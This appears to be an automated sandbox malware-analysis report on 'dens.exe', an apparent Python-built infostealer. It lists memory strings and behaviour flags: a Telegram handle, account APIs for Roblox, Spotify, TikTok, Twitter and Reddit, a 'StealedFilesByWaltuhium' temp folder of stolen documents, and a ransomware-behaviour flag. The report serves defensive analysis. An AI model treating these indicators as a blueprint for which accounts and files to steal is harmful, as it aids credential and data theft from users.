Source: dens.exe, 00000001.00000003.2040509378.000002D9ABFA0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2037156381.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065625241.000002D9AC640000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050520416.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2064311089.000002D9ABFC2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040589307.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1778896908.000002D9AC3BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: dens.exe, 00000001.00000003.1778896908.000002D9AC39C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: dens.exe, 00000001.00000002.2066912837.000002D9ACD51000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040509378.000002D9ABFA0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2037156381.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065625241.000002D9AC640000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2050520416.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2064311089.000002D9ABFC2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040589307.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1778896908.000002D9AC3BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: dens.exe, 00000001.00000003.1778896908.000002D9AC39C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9ABFF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.$
Source: dens.exe, 00000001.00000003.1783070234.000002D9AC1C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776400001.000002D9AC1C1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2032462700.000002D9AC1BB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034615706.000002D9AC1D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.m
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhium
Source: dens.exe, 00000001.00000003.1783070234.000002D9AC1C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776400001.000002D9AC1C1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2032462700.000002D9AC1BB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034615706.000002D9AC1D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhium-----
Source: dens.exe, 00000001.00000003.2034615706.000002D9AC1D3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040589307.000002D9ACD94000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034026381.000002D9AC3C3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhium----------------------
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhium0
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhium0B
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhium0g
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhiump
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://t.me/waltuhiumpZ
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC930000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.mew/waltuhium----------------------
Source: dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=
Source: dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=0
Source: dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://thumbnails.roblox.com/v1/users/avatar?userIds=P
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/?utm_source=lifter&utm_medium=referral&utm_campaign=hynek).
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/badges/package/pypi/importlib-metadata
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/badges/package/pypi/importlib-resources
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/badges/package/pypi/inflect
Source: METADATA.0.dr	String found in binary or memory: https://tidelift.com/badges/package/pypi/jaraco.context
Source: METADATA0.0.dr	String found in binary or memory: https://tidelift.com/badges/package/pypi/jaraco.functools
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1685131998.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-PROJECT?utm_source=pypi-PROJECT&utm_medium=referral&utm_c
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=pypi
Source: dens.exe, 00000000.00000003.1677965330.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-importlib-metadata?utm_source=pypi-importlib-metadata&utm
Source: dens.exe, 00000000.00000003.1683053302.00000107DAD69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-importlib-resources?utm_source=pypi-importlib-resources&u
Source: dens.exe, 00000000.00000003.1684040951.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-inflect?utm_source=pypi-inflect&utm_medium=readme
Source: METADATA.0.dr	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-jaraco.context?utm_source=pypi-jaraco.context&utm_medium=
Source: METADATA0.0.dr	String found in binary or memory: https://tidelift.com/subscription/pkg/pypi-jaraco.functools?utm_source=pypi-jaraco.functools&utm_med
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tiktok.com/
Source: dens.exe, 00000001.00000003.1703084861.000002D9AB375000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1702755471.000002D9AB333000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2048780751.000002D9AA9F0000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041163716.000002D9AA9CE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2048626589.000002D9AA9D4000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039766959.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7231#section-4.3.6)
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/home
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC930000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/i/api/1.1/account/update_profile.json
Source: dens.exe, 00000001.00000002.2062310780.000002D9AB6B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://upload.pypi.org/legacy/
Source: dens.exe, 00000001.00000002.2062222294.000002D9AB5A0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://upload.pypi.org/legacy/e
Source: dens.exe, 00000001.00000002.2063237923.000002D9ABD20000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap
Source: METADATA14.0.dr	String found in binary or memory: https://wheel.readthedocs.io/
Source: METADATA14.0.dr	String found in binary or memory: https://wheel.readthedocs.io/en/stable/news.html
Source: dens.exe, 00000001.00000003.1701110182.000002D9AB2D7000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2046290353.000002D9AB188000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701110182.000002D9AB280000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1701276433.000002D9AB2D7000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060312716.000002D9AB18B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2048039347.000002D9AB18B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www-cs-faculty.stanford.edu/~knuth/fasc2a.ps.gz
Source: dens.exe, 00000000.00000003.1667879346.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/
Source: dens.exe, 00000000.00000003.1667879346.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1667879346.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1667942178.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.apache.org/licenses/LICENSE-2.0
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/FilePreviews.svg
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Klaviyo.svg
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Tidelift.svg
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/24.2.0/_static/sponsors/Variomedia.svg
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/glossary.html#term-dunder-methods)).
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/latest/names.html)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/changelog.html)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/comparison.html#customization)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/init.html#hooking-yourself-into-initialization)
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666868851.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000000.00000003.1666805611.00000107DAD74000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.attrs.org/en/stable/why.html#data-classes)
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: dens.exe, 00000001.00000003.1778402641.000002D9ACFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: dens.exe, 00000001.00000003.1778402641.000002D9ACFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: dens.exe, 00000001.00000003.2028227051.000002D9AB446000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2038893022.000002D9AB456000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041611631.000002D9AB457000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066912837.000002D9ACD51000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2061658047.000002D9AB45A000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1953230654.000002D9AB446000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2042317269.000002D9AB459000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2037555294.000002D9AB446000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: dens.exe, 00000001.00000003.1778402641.000002D9ACFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: dens.exe, 00000001.00000003.1778402641.000002D9ACFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: dens.exe, 00000001.00000002.2066912837.000002D9ACD51000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2065840067.000002D9AC830000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: dens.exe, 00000001.00000003.1778402641.000002D9ACFEA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: dens.exe, 00000000.00000003.1672249137.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/H
Source: dens.exe, 00000001.00000003.2048626589.000002D9AA9FD000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2058173004.000002D9AAA04000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2041163716.000002D9AA9CE000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2046859632.000002D9AA9FC000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2039766959.000002D9AA9C5000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2049325458.000002D9AA9FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.python.org/
Source: METADATA14.0.dr	String found in binary or memory: https://www.python.org/dev/peps/pep-0427/
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/user/p
Source: dens.exe, 00000001.00000002.2066236732.000002D9AC968000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.roblox.com/my/account/json
Source: dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776400001.000002D9AC1C1000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2032462700.000002D9AC1BB000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034615706.000002D9AC1D3000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profile
Source: dens.exe, 00000001.00000002.2065840067.000002D9AC8B0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.spotify.com/api/account-settings/v1/profilep
Source: dens.exe, 00000001.00000003.2032142839.000002D9ABE69000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/
Source: dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.twitch.tv/0
Source: dens.exe, 00000000.00000003.1666805611.00000107DAD66000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.variomedia.de/

Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Window created: window name: CLIPBRDWNDCLASS

Spam, unwanted Advertisements and Ransom Demands

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\dens.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\ONBQCLYSPU.pdf	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\VLZDGUKUTZ.jpg	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\XZXHAVGRAG.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\LTKMYBSEYZ.xlsx	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	File deleted: C:\Users\user\AppData\Local\Temp\StealedFilesByWaltuhium\Desktop\XZXHAVGRAG.docx	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0F1000	0_2_00007FF62C0F1000
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C1108C8	0_2_00007FF62C1108C8
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C116964	0_2_00007FF62C116964
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0F89E0	0_2_00007FF62C0F89E0
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C115C00	0_2_00007FF62C115C00
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C101D54	0_2_00007FF62C101D54
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C10E570	0_2_00007FF62C10E570
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C1035A0	0_2_00007FF62C1035A0
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C109EA0	0_2_00007FF62C109EA0
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C115E7C	0_2_00007FF62C115E7C
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C10DEF0	0_2_00007FF62C10DEF0
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C119728	0_2_00007FF62C119728
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C101740	0_2_00007FF62C101740
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C101F60	0_2_00007FF62C101F60
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C108794	0_2_00007FF62C108794
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0F9800	0_2_00007FF62C0F9800
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C111874	0_2_00007FF62C111874
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C1140AC	0_2_00007FF62C1140AC
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C1080E4	0_2_00007FF62C1080E4
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C101944	0_2_00007FF62C101944
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C102164	0_2_00007FF62C102164
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C1039A4	0_2_00007FF62C1039A4
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C10DA5C	0_2_00007FF62C10DA5C
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0FA2DB	0_2_00007FF62C0FA2DB
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C101B50	0_2_00007FF62C101B50
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C116418	0_2_00007FF62C116418
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C102C10	0_2_00007FF62C102C10
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C1108C8	0_2_00007FF62C1108C8
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C113C10	0_2_00007FF62C113C10
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0FA47B	0_2_00007FF62C0FA47B
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0FACAD	0_2_00007FF62C0FACAD
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C105D30	0_2_00007FF62C105D30
